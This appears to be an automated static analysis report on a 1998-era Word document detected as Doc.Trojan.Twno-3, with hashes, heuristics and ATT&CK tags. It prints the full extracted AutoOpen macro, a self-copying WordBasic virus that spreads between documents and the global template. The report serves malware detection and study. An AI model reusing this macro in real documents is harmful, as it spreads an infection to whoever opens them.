Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30e86404c8a492d7…

MALICIOUS

Office (OLE)

31.0 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-22
MD5: 61e3ab3d2545da6dd89bec495c312cd0 SHA-1: 7c5095ed2add37bfa9c2c600d7737041d5bcbea9 SHA-256: 30e86404c8a492d7af992d3b296b6f90e57dc22b22a5db48a616ccf3f7419d57
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening. The macro attempts to display a user dialog with obfuscated text, likely to distract or mislead the user while other malicious actions are performed. The presence of the AutoOpen macro and the legacy Word format strongly suggest a malicious intent, possibly to download or execute further payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2211 bytes
SHA-256: 879655455da8eaccc434777b8519083b6d7960353d8d77a12cec717bf7235f12
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim thishour
Dim thishuor
Dim dlg As Object
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
thishour = WordBasic.Hour(WordBasic.Now())
If thishuor = 20 Then
    
        WordBasic.Text 61, 28, 101, 13, "??????!??????!????????!", "Text2"
        WordBasic.Text 21, 48, 171, 13, "????,????????????????!", "Text3"
        WordBasic.TextBox 54, 90, 239, 18, "WMH"
        WordBasic.OKButton 95, 112, 88, 21
    WordBasic.EndDialog
    Set dlg = WordBasic.CurValues.UserDialog
    WordBasic.Dialog.UserDialog dlg
    
    If dlg.wmh <> "??????!??????!????????!" And dlg.wmh <> "wmh" Then
        WordBasic.MsgBox "????????,????????????????????????????....", "????!", 48
        WordBasic.Dialog.UserDialog dlg
    Else
        WordBasic.MsgBox "????,??????,????....", "????!", 48
        GoTo eeend
    End If
    If dlg.wmh = "??????!??????!????????!" Or dlg.wmh = "wmh" Then
        WordBasic.MsgBox "????,??????,????....", "????!", 48
    Else
        WordBasic.MsgBox "??????....??????", "????!", 48
    End If
eeend:
End If
'   file$ = FileName$()
'   filem$ = file$ + ":AutoOpen"
'   MacroCopy filem$, "AutoOpen"

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    On Error Resume Next
    WordBasic.MacroCopy "AutoOpen", filem$
End If

End Sub

Attribute VB_Name = "NewMacros"

Open this report in the interactive analyzer, or submit your own file for analysis.